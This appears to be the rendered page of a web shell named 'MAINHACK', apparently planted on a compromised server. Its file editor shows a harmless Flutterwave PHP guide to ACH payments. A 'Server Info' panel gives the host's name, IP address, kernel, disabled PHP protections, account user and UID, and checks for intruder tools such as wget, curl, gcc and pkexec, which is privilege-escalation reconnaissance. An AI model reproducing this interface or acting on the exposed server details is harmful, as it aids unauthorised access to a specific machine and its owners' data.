[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: ach-payments.md
# Charge via ACH payment This helps you to accept South African ACH charges from your customers ```php <?php $reference = Flutterwave::generateReference(); $data = [ 'amount' => 100, 'email' => 'wole@email.co', 'currency' => 'ZAR', 'tx_ref' => $reference, ]; $response = Flutterwave::payments()->ach($data); if ($response['status'] === 'success') { # code... } ``` ## Parameters | Parameter | Required | Description | | ------------------ | -------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ | | amount | True | This is the amount to be charged. Expected value is ZAR | | currency | True | ZAR or USD | | email | True | This is the email address of the customer. | | tx_ref | True | This is a unique reference, unique to the particular transaction being carried out. It is generated when it is not provided by the merchant for every transaction. | | fullname | False | This is the customers full name. It should include first and last name of the customer. | | phone_number | False | This is the phone number linked to the customer's mobile money account. | | client_ip | False | IP - Internet Protocol. This represents the current IP address of the customer carrying out the transaction | | device_fingerprint | False | This is the fingerprint for the device being used. It can be generated using a library on whatever platform is being used. | | meta | False | This is used to include additional payment information` | | subaccounts | False | This is an array of objects containing the subaccount IDs to split the payment into. Check our Split Payment page for more info | | meta | False | This is an object that helps you include additional payment information to your request e.g ['consumer_id'=>23, 'consumer_mac'=>'92a3-912ba-1192a'] | | redirect_url | False | This is a url you provide, we redirect to it after the customer completes payment and append the response to it as query parameters. | | country | False | Pass your country as US for US ACH payments and ZA for SA ACH payments. |
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.61 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002